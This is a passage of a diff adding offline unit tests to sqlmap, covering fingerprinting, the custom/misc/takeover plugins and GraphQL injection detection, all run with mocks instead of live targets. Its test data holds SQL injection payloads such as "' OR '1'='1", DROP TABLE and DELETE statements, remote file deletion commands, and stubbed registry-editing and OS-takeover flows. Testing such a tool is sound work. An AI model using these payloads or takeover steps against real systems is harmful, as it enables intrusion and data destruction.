in ACTVER_DBMS: + self.assertIn("1.0", fp, + "%s extensiveFp lost the version: %r" % (name, fp)) + finally: + conf.extensiveFp = False + + +def _make(name, modpath, pkg): + def _t(self): + # _drive already asserts real, dialect-specific content (version/name + + # fork label + a boolean checkDbms verdict) for both oracle states. + self._drive(name, modpath, pkg, True) + self._drive(name, modpath, pkg, False) + return _t + + +# one named test per DBMS for clearer reporting +for _name, _mod, _pkg in TARGETS: + setattr(TestFingerprint, "test_fp_%s" % _pkg.split(".")[-1], _make(_name, _mod, _pkg)) + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_generic_takeover.py b/tests/test_generic_takeover.py new file mode 100644 index 00000000000..95dda4ddb1f --- /dev/null +++ b/tests/test_generic_takeover.py @@ -0,0 +1,605 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for the generic plugin mixins covering: + + * plugins/generic/custom.py - sqlQuery SELECT/non-query/stacked branches, the + MSSQL FROM rewrite, METADB suffix stripping, SqlmapNoneDataException handling, + and sqlFile. + * plugins/generic/misc.py - getRemoteTempPath (posix / windows-direct / MSSQL + ErrorLog), getVersionFromBanner, delRemoteFile, createSupportTbl, likeOrExact. + * plugins/generic/takeover.py - the PURE helpers only: Takeover.__init__ table + naming and the regRead/regAdd/regDel/osBof/osSmb control flow with the process/ + network collaborators stubbed out (no metasploit/icmpsh/UDF spawning). + +The injection layer (lib.request.inject.{getValue,goStacked}) is patched per +module, conf.direct=True selects the simple inband branches, conf.batch=True keeps +prompts non-interactive, and conf.dumper is a recording stub. Every test restores +all touched conf.* / kb.* / patched module attributes in tearDown so nothing leaks. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms + +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.enums import OS +from lib.core.settings import NULL + +import plugins.generic.entries as emod +import plugins.generic.custom as cmod +import plugins.generic.misc as mmod +import plugins.generic.takeover as tmod +from plugins.generic.custom import Custom +from plugins.generic.misc import Miscellaneous + + +class _RecordingDumper(object): + """Recording stand-in for conf.dumper (no printing / file writing).""" + + def __init__(self): + self.tableValues = [] + self.sqlQueries = [] + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + def sqlQuery(self, query, queryRes): + self.sqlQueries.append((query, queryRes)) + + +class _GenericBase(unittest.TestCase): + """Snapshot/restore for everything the generic mixins touch.""" + + _CONF_KEYS = ( + "db", "tbl", "col", "direct", "batch", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", "dumpWhere", + "tmpPath", "sqlQuery", "sqlFile", "regKey", "regVal", "regData", + "regType", "osPwn", "osShell", "cleanup", "privEsc", + ) + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_dumper = conf.get("dumper") + + self._saved_getValue = { + emod: emod.inject.getValue, + cmod: cmod.inject.getValue, + mmod: mmod.inject.getValue, + } + self._saved_goStacked = { + cmod: cmod.inject.goStacked, + mmod: mmod.inject.goStacked, + } + self._saved_emod_readInput = emod.readInput + self._saved_mmod_readInput = mmod.readInput + + self._saved_kb = { + "cachedColumns": kb.data.get("cachedColumns"), + "cachedTables": kb.data.get("cachedTables"), + "dumpedTable": kb.data.get("dumpedTable"), + "has_information_schema": kb.data.get("has_information_schema"), + "dumpKeyboardInterrupt": kb.get("dumpKeyboardInterrupt"), + "permissionFlag": kb.get("permissionFlag"), + "hintValue": kb.get("hintValue"), + "injection_data": kb.injection.data, + "bannerFp": kb.get("bannerFp"), + "os": kb.get("os"), + } + self._saved_forceDbms = kb.get("forcedDbms") + + conf.direct = True + conf.batch = True + conf.exclude = None + conf.search = False + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumpWhere = None + conf.dumper = _RecordingDumper() + + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + kb.data.has_information_schema = True + kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + + def _readInput(message, default=None, checkBatch=True, boolean=False): + if boolean: + return default in (None, 'Y', 'y', True) + return default + + emod.readInput = _readInput + mmod.readInput = _readInput + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + + for mod, fn in self._saved_getValue.items(): + mod.inject.getValue = fn + for mod, fn in self._saved_goStacked.items(): + mod.inject.goStacked = fn + emod.readInput = self._saved_emod_readInput + mmod.readInput = self._saved_mmod_readInput + + kb.data.cachedColumns = self._saved_kb["cachedColumns"] + kb.data.cachedTables = self._saved_kb["cachedTables"] + kb.data.dumpedTable = self._saved_kb["dumpedTable"] + kb.data.has_information_schema = self._saved_kb["has_information_schema"] + kb.dumpKeyboardInterrupt = self._saved_kb["dumpKeyboardInterrupt"] + kb.permissionFlag = self._saved_kb["permissionFlag"] + kb.hintValue = self._saved_kb["hintValue"] + kb.injection.data = self._saved_kb["injection_data"] + kb.bannerFp = self._saved_kb["bannerFp"] + kb.os = self._saved_kb["os"] + kb.forcedDbms = self._saved_forceDbms + + @staticmethod + def _force_os(os_name): + # Backend.setOs only assigns when kb.os is currently None; reset first so + # tests can deterministically pin the back-end OS. + kb.os = None + Backend.setOs(os_name) + + +# --------------------------------------------------------------------------- # +# custom.py +# --------------------------------------------------------------------------- # + +class TestCustomSqlQuery(_GenericBase): + def test_select_joins_listlike_rows(self): + set_dbms("MySQL") + c = Custom() + cmod.inject.getValue = lambda query, **k: [["1", "alice"], ["2", "bob"]] + out = c.sqlQuery("SELECT id, name FROM users;") + # SELECT + list-like rows => each row's columns joined (comma) into one scalar string, + # order and every column preserved (a dropped column or wrong separator must fail here) + self.assertEqual(out, ["1,alice", "2,bob"]) + + def test_select_scalar_passthrough(self): + set_dbms("MySQL") + c = Custom() + captured = {} + + def gv(query, **k): + captured["query"] = query + captured["fromUser"] = k.get("fromUser") + return "42" + + cmod.inject.getValue = gv + out = c.sqlQuery("SELECT COUNT(*) FROM users") + self.assertEqual(out, "42") + self.assertTrue(captured["fromUser"]) + + def test_metadb_suffix_stripped(self): + from lib.core.settings import METADB_SUFFIX + set_dbms("MySQL") + c = Custom() + captured = {} + + def gv(query, **k): + captured["query"] = query + return "x" + + cmod.inject.getValue = gv + c.sqlQuery("SELECT * FROM foo%s.bar" % METADB_SUFFIX) + # the METADB-suffixed schema qualifier is stripped before injection + self.assertNotIn(METADB_SUFFIX, captured["query"]) + + def test_mssql_from_dbo_rewrite(self): + set_dbms("Microsoft SQL Server") + c = Custom() + captured = {} + + def gv(query, **k): + captured["query"] = query + return "x" + + cmod.inject.getValue = gv + c.sqlQuery("SELECT * FROM mydb.users") + # single-dot FROM target gets the .dbo. schema spliced in for MSSQL + self.assertIn("mydb.dbo.users", captured["query"]) + + def test_nonquery_without_stacking_warns_none(self): + set_dbms("MySQL") + conf.direct = False + kb.injection.data = {} # no stacking technique available + c = Custom() + cmod.inject.getValue = lambda *a, **k: self.fail("must not run a query") + out = c.sqlQuery("DELETE FROM users") + self.assertIsNone(out) + + def test_nonquery_stacked_returns_null(self): + set_dbms("MySQL") + conf.direct = True # direct => stacked execution allowed + c = Custom() + calls = {} + + def go(query, *a, **k): + calls["query"] = query + + cmod.inject.goStacked = go + out = c.sqlQuery("DROP TABLE users") + self.assertEqual(out, NULL) + self.assertIn("DROP TABLE users", calls["query"]) + + def test_nonedata_exception_handled(self): + from lib.core.exception import SqlmapNoneDataException + set_dbms("MySQL") + c = Custom() + + def boom(*a, **k): + raise SqlmapNoneDataException("no data") + + cmod.inject.getValue = boom + # exception is swallowed and logged; output stays None + self.assertIsNone(c.sqlQuery("SELECT 1")) + + +class TestCustomSqlFile(_GenericBase): + def test_sqlfile_select_snippets(self): + set_dbms("MySQL") + c = Custom() + cmod.inject.getValue = lambda query, **k: "r" + + # getSQLSnippet reads from disk; patch it to return inline SQL. + saved = cmod.getSQLSnippet + try: + cmod.getSQLSnippet = lambda dbms, filename, **kw: "SELECT 1;SELECT 2" + conf.sqlFile = "dummy.sql" + c.sqlFile() + # two SELECT statements => two recorded dumper.sqlQuery calls + self.assertEqual(len(conf.dumper.sqlQueries), 2) + finally: + cmod.getSQLSnippet = saved + + def test_sqlfile_nonselect_snippet(self): + set_dbms("MySQL") + conf.direct = True + c = Custom() + cmod.inject.goStacked = lambda *a, **k: None + + saved = cmod.getSQLSnippet + try: + cmod.getSQLSnippet = lambda dbms, filename, **kw: "DROP TABLE x" + conf.sqlFile = "dummy.sql" + c.sqlFile() + # non-SELECT => single recorded call with the whole snippet + self.assertEqual(len(conf.dumper.sqlQueries), 1) + self.assertEqual(conf.dumper.sqlQueries[0][0], "DROP TABLE x") + finally: + cmod.getSQLSnippet = saved + + +# --------------------------------------------------------------------------- # +# misc.py +# --------------------------------------------------------------------------- # + +class _TestMisc(Miscellaneous): + """Miscellaneous with the OS/exec collaborators stubbed.""" + + cmdTblName = "sqlmapoutput" + + def __init__(self): + Miscellaneous.__init__(self) + self.checkDbmsOsCalls = 0 + self.execCmdCalls = [] + + def checkDbmsOs(self, detailed=False, vatch=False): + self.checkDbmsOsCalls += 1 + + def execCmd(self, cmd, silent=False): + self.execCmdCalls.append((cmd, silent)) + + +class TestMisc(_GenericBase): + def test_remote_temp_path_posix(self): + set_dbms("MySQL") + self._force_os(OS.LINUX) + conf.tmpPath = None + m = _TestMisc() + out = m.getRemoteTempPath() + self.assertEqual(out, "/tmp") + self.assertEqual(conf.tmpPath, "/tmp") + + def test_remote_temp_path_windows_direct(self): + set_dbms("MySQL") + self._force_os(OS.WINDOWS) + conf.tmpPath = None + conf.direct = True + m = _TestMisc() + out = m.getRemoteTempPath() + self.assertEqual(out, "%TEMP%") + + def test_remote_temp_path_explicit_windows_drive(self): + # An explicit Windows-style drive path flips Backend OS to Windows. + set_dbms("MySQL") + conf.tmpPath = "C:\\Temp" + kb.os = None # let getRemoteTempPath detect Windows from the drive path + m = _TestMisc() + out = m.getRemoteTempPath() + self.assertTrue(Backend.isOs(OS.WINDOWS)) + self.assertIn("Temp", out) + self.assertNotIn("\\", out) # ntToPosixSlashes normalized the path + + def test_remote_temp_path_mssql_errorlog(self): + set_dbms("Microsoft SQL Server") + conf.tmpPath = None + mmod.inject.getValue = lambda query, **k: "C:\\Logs\\ERRORLOG" + m = _TestMisc() + out = m.getRemoteTempPath() + # ntpath.dirname strips the ERRORLOG filename, then ntToPosixSlashes + # normalizes the slashes: the exact temp dir must be "C:/Logs". Asserting + # the full path (and that the filename is gone) proves dirname ran. + self.assertEqual(out, "C:/Logs") + self.assertNotIn("ERRORLOG", out) + + def test_get_version_from_banner(self): + set_dbms("MySQL") + conf.direct = True + kb.bannerFp = {} + mmod.inject.getValue = lambda query, **k: "5.7.31-log" + m = _TestMisc() + m.getVersionFromBanner() + # regex \d[\d.-]* extracts the leading numeric-ish run (trailing '-' kept) + self.assertEqual(kb.bannerFp["dbmsVersion"], "5.7.31-") + + def test_get_version_from_banner_cached(self): + set_dbms("MySQL") + kb.bannerFp = {"dbmsVersion": "8.0"} + mmod.inject.getValue = lambda *a, **k: self.fail("must not query when cached") + m = _TestMisc() + m.getVersionFromBanner() + self.assertEqual(kb.bannerFp["dbmsVersion"], "8.0") + + def test_del_remote_file_posix(self): + set_dbms("MySQL") + self._force_os(OS.LINUX) + m = _TestMisc() + m.delRemoteFile("/tmp/foo") + self.assertEqual(m.execCmdCalls[-1], ("rm -f /tmp/foo", True)) + + def test_del_remote_file_windows(self): + set_dbms("MySQL") + self._force_os(OS.WINDOWS) + m = _TestMisc() + m.delRemoteFile("C:/tmp/foo") + cmd, silent = m.execCmdCalls[-1] + self.assertTrue(cmd.startswith("del /F /Q")) + self.assertTrue(silent) + + def test_del_remote_file_empty_noop(self): + set_dbms("MySQL") + m = _TestMisc() + m.delRemoteFile(None) + self.assertEqual(m.execCmdCalls, []) + self.assertEqual(m.checkDbmsOsCalls, 0) + + def test_create_support_tbl(self): + set_dbms("MySQL") + m = _TestMisc() + stacked = [] + mmod.inject.goStacked = lambda query, **k: stacked.append(query) + m.createSupportTbl("mytbl", "data", "TEXT") + joined = " | ".join(stacked) + self.assertIn("DROP TABLE mytbl", joined) + self.assertIn("CREATE TABLE mytbl(data TEXT)", joined) + + def test_create_support_tbl_mssql_cmdtbl(self): + set_dbms("Microsoft SQL Server") + m = _TestMisc() + stacked = [] + mmod.inject.goStacked = lambda query, **k: stacked.append(query) + m.createSupportTbl(m.cmdTblName, "data", "NVARCHAR(4000)") + joined = " | ".join(stacked) + # MSSQL cmd output table gets an IDENTITY id column + self.assertIn("IDENTITY", joined) + + def test_like_or_exact_default(self): + m = _TestMisc() + mmod.readInput = lambda *a, **k: '1' + choice, cond = m.likeOrExact("table") + self.assertEqual(choice, '1') + self.assertIn("LIKE", cond) + + def test_like_or_exact_exact(self): + m = _TestMisc() + mmod.readInput = lambda *a, **k: '2' + choice, cond = m.likeOrExact("table") + self.assertEqual(choice, '2') + self.assertEqual(cond, "='%s'") + + def test_like_or_exact_invalid(self): + from lib.core.exception import SqlmapNoneDataException + m = _TestMisc() + mmod.readInput = lambda *a, **k: '9' + self.assertRaises(SqlmapNoneDataException, m.likeOrExact, "table") + + +# --------------------------------------------------------------------------- # +# takeover.py (pure helpers only) +# --------------------------------------------------------------------------- # + +class _TestTakeover(tmod.Takeover): + """Takeover with all process/network collaborators stubbed. + + Only the pure control-flow helpers (table naming, reg read/add/del dispatch, + osBof/osSmb guards) are exercised; metasploit/icmpsh/UDF spawning is replaced + with recorders so no external process or socket is ever created. + """ + + def __init__(self): + tmod.Takeover.__init__(self) + self.regCalls = [] + self.osVal = OS.WINDOWS + self.smbCalled = False + self.bofCalled = False + self._regInitCalled = 0 + + # neutralize environment setup / OS detection + def _regInit(self): + self._regInitCalled += 1 + + def checkDbmsOs(self, detailed=False, vatch=False): + pass + + def initEnv(self, *a, **k): + pass + + def getRemoteTempPath(self): + return "/tmp" + + def createMsfShellcode(self, *a, **k): + pass + + def readRegKey(self, regKey, regValue, parse=False): + self.regCalls.append(("read", regKey, regValue)) + return "value" + + def addRegKey(self, regKey, regValue, regType, regData): + self.regCalls.append(("add", regKey, regValue, regType, regData)) + + def delRegKey(self, regKey, regValue): + self.regCalls.append(("del", regKey, regValue)) + + def smb(self): + self.smbCalled = True + + def bof(self): + self.bofCalled = True + + +class TestTakeover(_GenericBase): + def _saved_takeover_readInput(self): + return tmod.readInput + + def setUp(self): + _GenericBase.setUp(self) + self._saved_t_readInput = tmod.readInput + + def tearDown(self): + tmod.readInput = self._saved_t_readInput + _GenericBase.tearDown(self) + + def test_init_cmd_table_name(self): + set_dbms("MySQL") + t = _TestTakeover() + self.assertEqual(t.cmdTblName, "%soutput" % conf.tablePrefix) + self.assertEqual(t.tblField, "data") + + def test_reg_read_from_conf(self): + set_dbms("Microsoft SQL Server") + conf.regKey = "HKLM\\Soft" + conf.regVal = "Name" + t = _TestTakeover() + out = t.regRead() + self.assertEqual(out, "value") + self.assertEqual(t.regCalls[-1], ("read", "HKLM\\Soft", "Name")) + self.assertEqual(t._regInitCalled, 1) + + def test_reg_read_defaults(self): + set_dbms("Microsoft SQL Server") + conf.regKey = None + conf.regVal = None + tmod.readInput = lambda message, default=None, **k: default + t = _TestTakeover() + t.regRead() + kind, regKey, regVal = t.regCalls[-1] + self.assertEqual(kind, "read") + self.assertIn("CurrentVersion", regKey) + self.assertEqual(regVal, "ProductName") + + def test_reg_add_from_conf(self): + set_dbms("Microsoft SQL Server") + conf.regKey = "HKLM\\Soft" + conf.regVal = "Name" + conf.regData = "data" + conf.regType = "REG_SZ" + t = _TestTakeover() + t.regAdd() + self.assertEqual(t.regCalls[-1], ("add", "HKLM\\Soft", "Name", "REG_SZ", "data")) + + def test_reg_add_missing_key_raises(self): + from lib.core.exception import SqlmapMissingMandatoryOptionException + set_dbms("Microsoft SQL Server") + conf.regKey = None + conf.regVal = None + conf.regData = None + conf.regType = None + tmod.readInput = lambda *a, **k: "" # empty -> missing mandatory option + t = _TestTakeover() + self.assertRaises(SqlmapMissingMandatoryOptionException, t.regAdd) + + def test_reg_del_confirmed(self): + set_dbms("Microsoft SQL Server") + conf.regKey = "HKLM\\Soft" + conf.regVal = "Name" + tmod.readInput = lambda message, default=None, boolean=False, **k: True if boolean else default + t = _TestTakeover() + t.regDel() + self.assertEqual(t.regCalls[-1], ("del", "HKLM\\Soft", "Name")) + + def test_reg_del_declined(self): + set_dbms("Microsoft SQL Server") + conf.regKey = "HKLM\\Soft" + conf.regVal = "Name" + tmod.readInput = lambda message, default=None, boolean=False, **k: False if boolean else default + t = _TestTakeover() + t.regDel() + # declined => no delRegKey call recorded + self.assertEqual([c for c in t.regCalls if c[0] == "del"], []) + + def test_osbof_wrong_dbms_raises(self): + from lib.core.exception import SqlmapUnsupportedDBMSException + set_dbms("MySQL") + conf.direct = True + t = _TestTakeover() + self.assertRaises(SqlmapUnsupportedDBMSException, t.osBof) + + def test_osbof_no_stacking_returns(self): + set_dbms("Microsoft SQL Server") + conf.direct = False + kb.injection.data = {} # no stacking, not direct => early return + t = _TestTakeover() + self.assertIsNone(t.osBof()) + self.assertFalse(t.bofCalled) + + def test_ossmb_non_windows_raises(self): + from lib.core.exception import SqlmapUnsupportedDBMSException + set_dbms("MySQL") + conf.direct = True + t = _TestTakeover() + + # checkDbmsOs is a no-op here, so force the non-Windows OS explicitly + self._force_os(OS.LINUX) + self.assertRaises(SqlmapUnsupportedDBMSException, t.osSmb) + self.assertFalse(t.smbCalled) + + def test_ossmb_windows_invokes_smb(self): + set_dbms("MySQL") + conf.direct = True + self._force_os(OS.WINDOWS) + t = _TestTakeover() + t.osSmb() + self.assertTrue(t.smbCalled) + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_graphql.py b/tests/test_graphql.py new file mode 100644 index 00000000000..057b6d7b6f0 --- /dev/null +++ b/tests/test_graphql.py @@ -0,0 +1,1003 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the GraphQL injection engine. Mock oracles stand in for the +HTTP/GraphQL layer so endpoint detection, introspection parsing, slot enumeration, query +construction, and boolean/error-based detection can be exercised without a live target. +""" + +import json +import re +import unittest + +from _testutils import bootstrap +bootstrap() + +import lib.techniques.graphql.inject as gi + +# --- Mock helpers ----------------------------------------------------------- + +MATCH = '{"data":{"user":{"id":1,"name":"luther","surname":"blisset"}}}' +NOMATCH = '{"data":{"user":null}}' +DB_ERROR = '{"errors":[{"message":"You have an error in your SQL syntax; check the manual...","path":["user"]}]}' +GQL_PARSE_ERROR = '{"errors":[{"message":"Syntax Error: Expected Name, found )","extensions":{"code":"GRAPHQL_PARSE_FAILED"}}]}' + +MOCK_SCHEMA = { + "data": {"__schema": { + "queryType": {"name": "Query"}, + "mutationType": {"name": "Mutation"}, + "subscriptionType": None, + "directives": [], + "types": [ + {"kind": "OBJECT", "name": "Query", "fields": [ + {"name": "user", "args": [ + {"name": "username", "defaultValue": None, + "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + {"name": "byId", "args": [ + {"name": "id", "defaultValue": None, + "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + {"name": "login", "args": [ + {"name": "username", "defaultValue": None, + "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}, + {"name": "password", "defaultValue": None, + "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}, + ], "type": {"kind": "OBJECT", "name": "AuthPayload", "ofType": None}}, + {"name": "version", "args": [], + "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "SCALAR", "name": "String"}, + {"kind": "SCALAR", "name": "Int"}, + {"kind": "SCALAR", "name": "Float"}, + {"kind": "SCALAR", "name": "ID"}, + {"kind": "OBJECT", "name": "User", "fields": [ + {"name": "id", "args": [], "type": {"kind": "SCALAR", "name": "Int", "ofType": None}}, + {"name": "name", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "OBJECT", "name": "AuthPayload", "fields": [ + {"name": "token", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + {"name": "user", "args": [], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + ] + }} +} + + +def _slot(opType, rootName, fieldName, argName, strategy="string", + returnKind="OBJECT", returnType="User", + returnSel="{ id name }", allArgs=None): + """Test helper: build a minimal Slot with sensible defaults""" + if allArgs is None: + argType = {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}} + if strategy == "numeric": + argType = {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}} + elif strategy == "id_dual": + argType = {"kind": "SCALAR", "name": "ID"} + allArgs = [(argName, argType, None)] + return gi.Slot(opType, rootName, fieldName, allArgs, argName, strategy, + returnKind, returnType, returnSel) + + +# --- Tests ----------------------------------------------------------------- + +class TestGraphqlHelpers(unittest.TestCase): + """Unit tests for type-walking, classification, and response parsing""" + + def test_unwrap_simple_scalar(self): + chain = gi._unwrapType({"kind": "SCALAR", "name": "String"}) + self.assertEqual(chain, [("SCALAR", "String")]) + + def test_unwrap_non_null(self): + chain = gi._unwrapType({"kind": "NON_NULL", "name": None, + "ofType": {"kind": "SCALAR", "name": "String"}}) + self.assertEqual(chain, [("NON_NULL", None), ("SCALAR", "String")]) + + def test_unwrap_list_non_null(self): + chain = gi._unwrapType({"kind": "LIST", "name": None, + "ofType": {"kind": "NON_NULL", "name": None, + "ofType": {"kind": "OBJECT", "name": "User"}}}) + self.assertEqual(chain, [("LIST", None), ("NON_NULL", None), ("OBJECT", "User")]) + + def test_classify_string(self): + self.assertEqual(gi._classifyArg({"kind": "NON_NULL", "ofType": {"kind": "SCALAR", "name": "String"}}), "string") + + def test_classify_int(self): + self.assertEqual(gi._classifyArg({"kind": "SCALAR", "name": "Int"}), "numeric") + + def test_classify_float(self): + self.assertEqual(gi._classifyArg({"kind": "SCALAR", "name": "Float"}), "numeric") + + def test_classify_id(self): + self.assertEqual(gi._classifyArg({"kind": "SCALAR", "name": "ID"}), "id_dual") + + def test_classify_boolean_is_none(self): + self.assertIsNone(gi._classifyArg({"kind": "SCALAR", "name": "Boolean"})) + + def test_escape_graphql_string(self): + self.assertEqual(gi._escapeGraphQLString('test"quote'), 'test\\"quote') + self.assertEqual(gi._escapeGraphQLString("back\\slash"), "back\\\\slash") + + def test_is_graphql_response_with_typename(self): + self.assertTrue(gi._isGraphQLResponse('{"data":{"__typename":"Query"}}')) + + def test_is_graphql_response_parse_error(self): + self.assertTrue(gi._isGraphQLResponse( + '{"errors":[{"message":"Syntax Error: Unexpected ","extensions":{"code":"GRAPHQL_PARSE_FAILED"}}]}')) + + def test_not_graphql_response(self): + self.assertFalse(gi._isGraphQLResponse("hello")) + self.assertFalse(gi._isGraphQLResponse("")) + self.assertFalse(gi._isGraphQLResponse('{"data":{"user":{"id":1}}}')) # no __typename, no graphql error phrasing + + def test_error_text_extraction(self): + err = gi._errorText(DB_ERROR) + self.assertIn("SQL syntax", err) + self.assertIn("check the manual", err) + + def test_error_text_from_parse_failure(self): + err = gi._errorText(GQL_PARSE_ERROR) + self.assertIn("GRAPHQL_PARSE_FAILED", err) + self.assertIn("Syntax Error", err) + + def test_slot_value_from_data(self): + val = gi._slotValue(MATCH) + self.assertIn("luther", val) + self.assertIn("blisset", val) + + def test_slot_value_null(self): + val = gi._slotValue(NOMATCH) + self.assertIn("null", val) + + +class TestGraphqlIntrospection(unittest.TestCase): + """Schema walking and slot enumeration""" + + def test_extract_slots(self): + schema = MOCK_SCHEMA["data"]["__schema"] + slots = gi._extractSlots(schema) + names = [(s.parentType, s.fieldName, s.targetArg, s.strategy) for s in slots] + self.assertIn(("Query", "user", "username", "string"), names) + self.assertIn(("Query", "byId", "id", "numeric"), names) + + def test_login_has_two_args(self): + """login(username: String!, password: String!) -- both required args should be in Slot""" + schema = MOCK_SCHEMA["data"]["__schema"] + slots = gi._extractSlots(schema) + loginSlots = [s for s in slots if s.fieldName == "login"] + self.assertEqual(len(loginSlots), 2) + for s in loginSlots: + self.assertEqual(len(s.allArgs), 2) # username + password + + def test_scalar_return_has_empty_selection(self): + """version: String -- field with no args produces no slots""" + schema = MOCK_SCHEMA["data"]["__schema"] + slots = gi._extractSlots(schema) + # version has no args, so it should NOT appear in slots + versionSlots = [s for s in slots if s.fieldName == "version"] + self.assertEqual(len(versionSlots), 0) + + +class TestGraphqlBuildQuery(unittest.TestCase): + """GraphQL query document construction from Slot + value""" + + def test_string_arg(self): + slot = _slot("query", "Query", "user", "username", "string") + q = gi._buildQuery(slot, "luther") + self.assertIn('user(username:"luther")', q) + self.assertIn("{ id name }", q) + + def test_string_injection_payload(self): + slot = _slot("query", "Query", "user", "username", "string") + q = gi._buildQuery(slot, "' OR '1'='1") + self.assertIn("' OR '1'='1", q) + + def test_numeric_with_payload_is_empty(self): + """Numeric GraphQL literals cannot carry SQL payloads; _buildQuery returns ''""" + slot = _slot("query", "Query", "byId", "id", "numeric") + q = gi._buildQuery(slot, "1 OR 1=1") + self.assertEqual(q, "") + + def test_numeric_with_valid_integer(self): + slot = _slot("query", "Query", "byId", "id", "numeric") + q = gi._buildQuery(slot, "1") + self.assertIn("byId(id:1)", q) + + def test_id_string(self): + slot = _slot("query", "Query", "get", "uid", "id_dual") + q = gi._buildQuery(slot, "abc") + self.assertIn('get(uid:"abc")', q) + + def test_id_numeric(self): + slot = _slot("query", "Query", "get", "uid", "id_dual") + q = gi._buildQuery(slot, "123") + self.assertIn("get(uid:123)", q) + + def test_two_required_args_renders_both(self): + """login(username: String!, password: String!) -- uninjected sibling gets a default""" + allArgs = [ + ("username", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ("password", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ] + slot = gi.Slot("query", "Query", "login", allArgs, "password", "string", + "OBJECT", "AuthPayload", "{ token user { id name } }") + q = gi._buildQuery(slot, "' OR '1'='1") + self.assertIn("login(", q) + self.assertIn("username:", q) # required sibling rendered + self.assertIn("password:", q) # target arg rendered + self.assertIn("' OR '1'='1", q) + + def test_mutation_wraps_with_mutation_keyword(self): + allArgs = [ + ("id", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}, None), + ("email", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ] + slot = gi.Slot("mutation", "Mutation", "updateUser", allArgs, "email", "string", + "OBJECT", "User", "{ id name }") + q = gi._buildQuery(slot, "x' OR '1'='1") + self.assertTrue(q.startswith("mutation {")) + + +class TestGraphqlBooleanDetection(unittest.TestCase): + """Boolean-based detection via mock oracle""" + + def setUp(self): + self._gql = gi._gqlSend + self._conf = gi.conf + gi.conf = type("C", (), {"url": "http://test/graphql"})() + + pages = {"true": MATCH, "false": NOMATCH} + def fakeSend(endpoint, query, variables=None): + if "'1'='1" in query: + return pages["true"], 200 + if "'1'='2" in query: + return pages["false"], 200 + return NOMATCH, 200 + gi._gqlSend = fakeSend + + def tearDown(self): + gi._gqlSend = self._gql + gi.conf = self._conf + + def test_boolean_detected(self): + slot = _slot("query", "Query", "user", "username", "string") + oracleType, template, _win = gi._detectBoolean(slot, "http://test/graphql") + self.assertIsNotNone(oracleType) + self.assertIn("boolean-based", oracleType) + + def test_numeric_skipped(self): + slot = _slot("query", "Query", "byId", "id", "numeric") + oracleType, template, _win = gi._detectBoolean(slot, "http://test/graphql") + self.assertIsNone(oracleType) + + def test_graphql_two_true_transport_failures_do_not_confirm(self): + # the TRUE query fails transport (-> None), the FALSE succeeds: two None trues must NOT be + # read as a reproducible page that "differs" from false (the classic fabricated confirmation) + def fakeSend(endpoint, query, variables=None): + if "'1'='1" in query: + return None, 0 # transport failure on the true payload + return NOMATCH, 200 + gi._gqlSend = fakeSend + slot = _slot("query", "Query", "user", "username", "string") + oracleType, _, _win = gi._detectBoolean(slot, "http://test/graphql") + self.assertIsNone(oracleType) + + def test_graphql_false_page_is_replayed(self): + # a FALSE page that does not reproduce (jitter) must not establish an oracle + state = {"n": 0} + def fakeSend(endpoint, query, variables=None): + if "'1'='1" in query: + return MATCH, 200 + state["n"] += 1 + if state["n"] % 2: # false response is unstable (jitter) + return '{"data":{"user":{"id":1,"name":"alpha"}}}', 200 + return '{"data":{"user":{"totally":"different","shape":"here","x":12345,"y":67890}}}', 200 + gi._gqlSend = fakeSend + slot = _slot("query", "Query", "user", "username", "string") + oracleType, _, _win = gi._detectBoolean(slot, "http://test/graphql") + self.assertIsNone(oracleType) + + def test_graphql_resolver_error_false_is_not_a_boolean_oracle(self): + # P0-3: the FALSE payload trips a stable HTTP-200 resolver error ({data:null, errors:[...]}), + # which yields the same {"user":null} observation as a genuine false. That is NOT a boolean + # oracle (it belongs to error-based detection) - 